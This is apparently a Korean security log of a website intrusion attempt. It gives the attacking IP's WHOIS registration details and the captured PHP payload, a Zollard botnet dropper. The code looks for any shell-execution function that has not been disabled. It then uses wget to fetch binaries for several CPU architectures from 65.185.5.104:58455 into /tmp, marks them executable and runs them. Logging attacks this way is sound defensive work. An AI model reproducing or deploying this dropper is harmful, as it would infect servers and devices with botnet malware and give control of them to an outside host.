웹사이트 침해시도 탐지코드
아이피 : 65.185.5.104
organization:Class-Name:organization
organization:ID:NETBLK-ISRR-65.185.0.0-17
organization:Auth-Area:65.185.0.0/17
organization:Org-Name:Road Runner
organization:Tech-Contact:ipaddreg@rr.com
organization:Street-Address:13820 Sunrise Valley Drive
organization:City:Herndon
organization:State:VA
organization:Postal-Code:20171
organization:Country-Code:US
organization:Phone:703-345-3151
organization:Updated:2014-03-06 10:40:50
organization:Created:2014-03-06 10:40:50
organization:Admin-Contact:IPADD-ARIN
탐지코드:
<?php
echo "Zollard";
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
myshellexec("rm -rf /tmp/armeabi;wget -P /tmp http://65.185.5.104:58455/armeabi;chmod +x /tmp/armeabi");
myshellexec("rm -rf /tmp/arm;wget -P /tmp http://65.185.5.104:58455/arm;chmod +x /tmp/arm");
myshellexec("rm -rf /tmp/ppc;wget -P /tmp http://65.185.5.104:58455/ppc;chmod +x /tmp/ppc");
myshellexec("rm -rf /tmp/mips;wget -P /tmp http://65.185.5.104:58455/mips;chmod +x /tmp/mips");
myshellexec("rm -rf /tmp/mipsel;wget -P /tmp http://65.185.5.104:58455/mipsel;chmod +x /tmp/mipsel");
myshellexec("rm -rf /tmp/x86;wget -P /tmp http://65.185.5.104:58455/x86;chmod +x /tmp/x86");
myshellexec("rm -rf /tmp/nodes;wget -P /tmp http://65.185.5.104:58455/nodes;chmod +x /tmp/nodes");
myshellexec("rm -rf /tmp/sig;wget -P /tmp http://65.185.5.104:58455/sig;chmod +x /tmp/sig");
myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");
?>